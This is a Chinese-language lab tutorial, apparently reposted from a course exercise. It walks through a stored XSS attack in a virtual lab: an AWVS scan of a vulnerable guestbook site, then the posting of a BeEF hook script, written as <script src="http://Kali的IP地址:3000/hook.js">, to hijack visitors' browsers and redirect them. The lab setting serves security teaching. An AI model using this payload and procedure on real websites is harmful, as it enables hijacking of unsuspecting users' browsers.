实验目的：了解什么是XSS；了解XSS攻击实施，理解防御XSS攻击的方法
系统环境：Kali Linux 2、Windows Server
网络环境：交换网络结构
实验工具： Beef；AWVS(Acunetix Web Vulnarability Scanner)
实验步骤：
实验环境搭建。
角色：留言簿网站。存在XSS漏洞；（IIS或Apache、guestbook搭建）
攻击者：Kali（使用beEF生成恶意代码，并通过留言方式提交到留言簿网站）；
被攻击者：访问留言簿网站，浏览器被劫持。
首先攻击者和被攻击者需要连接同一个网络。
1.攻击者打开kali，打开Windows Server2003，二者都需要设置为桥接模式。
注意要同时设置虚拟网络适配器为桥接模式
文章来源地址https://www.toymoban.com/news/detail-436014.html
2.Windows Server2003中需要把guestbook拉入D盘中，如果拉不进去，可用u盘协助，或下载VMare tools（可以去找找这个怎么下载）。
3.利用Windows Server2003创建一个网站
找到默认网站，右键选择属性
将GuestBook选入
查看ip
配置ip
添加message.asp
打开浏览器，输入服务器ip可看到留言簿网站
文章来源：https://www.toymoban.com/news/detail-436014.html
4.利用AWVS扫描留言簿网站，发现其存在XSS漏洞
一直next直到finish
发现xss漏洞
5.kali输入beef-xss指令得到恶意代码（如果没安装beef需要先安装，输入beef-xss然后根据提示一直‘y’就好了）
恶意代码为图中红框部分，用的时候是<script src="http://Kali的IP地址:3000/hook.js"></script>，所以需要查看kali的ip
输入beef-xss后会弹出一个页面，我们输入账号密码登录进去
6.访问http://留言簿网站/message.asp，将恶意代码写入网站留言板
如果留言被管理员审核通过，你的留言能在留言板显示出来。当客户端访问服务器的留言板后，你可以在Beef控制端查看目标主机，如果出现下图所示内网，表示客户端浏览器已经被成功劫持。
7.在Current Browser项选择Browser，点击Hooked Domain选择Redirect Browser，在右边的Redirect URL中输入网址，即可控制浏览器跳转到目标网址
例如，输入https://www.csdn.net/即可控制受害者的页面跳转到CSDN官网页面
到了这里，关于XSS攻击：利用Beef劫持被攻击者客户端浏览器的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
